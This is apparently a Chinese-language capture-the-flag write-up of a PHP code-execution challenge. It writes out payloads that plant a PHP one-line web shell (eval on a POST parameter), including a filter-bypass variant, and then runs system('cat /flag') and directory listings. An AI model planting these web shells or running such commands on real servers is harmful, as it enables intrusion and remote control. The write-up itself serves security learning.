[LitCTF 2023]PHP是世界上最好的语言!! wp
进入页面,发现左边有输入框,下面有 RUN CODE 字样,估计是可以执行命令的。
执行 PHP 代码测试
<?php print(1); ?>
将 PHP 一句话木马写入文件
为了蚁剑能连上,直接执行木马是不行的,要将木马写入文件中。
fopen() 函数
语法
fopen(filename,mode,include_path,context)
参数 | 描述 |
---|---|
filename | 必需。规定要打开的文件或 URL。 |
mode | 必需。规定您请求到该文件/流的访问类型。可能的值: “r” (只读方式打开,将文件指针指向文件头) “r+” (读写方式打开,将文件指针指向文件头) “w” (写入方式打开,清除文件内容,如果文件不存在则尝试创建之) “w+” (读写方式打开,清除文件内容,如果文件不存在则尝试创建之) “a” (写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之) “a+” (读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容) “x” (创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误) “x+” (创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误) |
include_path | 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。 |
context | 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。 |
fopen('shell.php','w')
该语句的意思为,以写入方式打开一个叫做“ shell.php ”,的文件,该文件不存在,故创建了一个shell.php文件。
fputs() 函数
fputs() 函数将内容写入一个打开的文件中。
语法
fputs(file,string,length)
参数 | 描述 |
---|---|
file | 必需。规定要写入的打开文件。 |
string | 必需。规定要写入打开文件的字符串。 |
length | 可选。规定要写入的最大字节数。 |
payload
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>' ) ?>
没有结果返回,去访问一下是否成功写入:http://node5.anna.nssctf.cn:28606/shell.php
,页面内容为:
显然是 php 头被过滤了,那么就换一种 payload :
<?php fputs(fopen('shell2.php','w'),'<script language="php">@eval($_POST["shell"]);</script>') ?>
成功写入,并且在 shell2.php 页面没有任何内容,当我高兴地用蚁剑去连的时候发现连不上:返回数据为空
后来我又尝试写 shell 然后 kali 开 nc 监听,还是连不上。既然如此,那就不连了,反正前面不是已经可以执行代码了嘛。
直接命令执行
根据提示:Flag 位于根目录,但是当我执行下面的命令去找的时候始终没有返回:
<?php system("cat /Flag"); ?>
后来,我通过查看根目录下的文件,发现 flag 文件确实在根目录,但是名字不叫 Flag ,而是叫 flag 。呵,一个小 trick 。
<?php system("ls"); ?>
<?php system("ls ../../../"); ?>
被我发现了。
<?php system("cat /flag"); ?>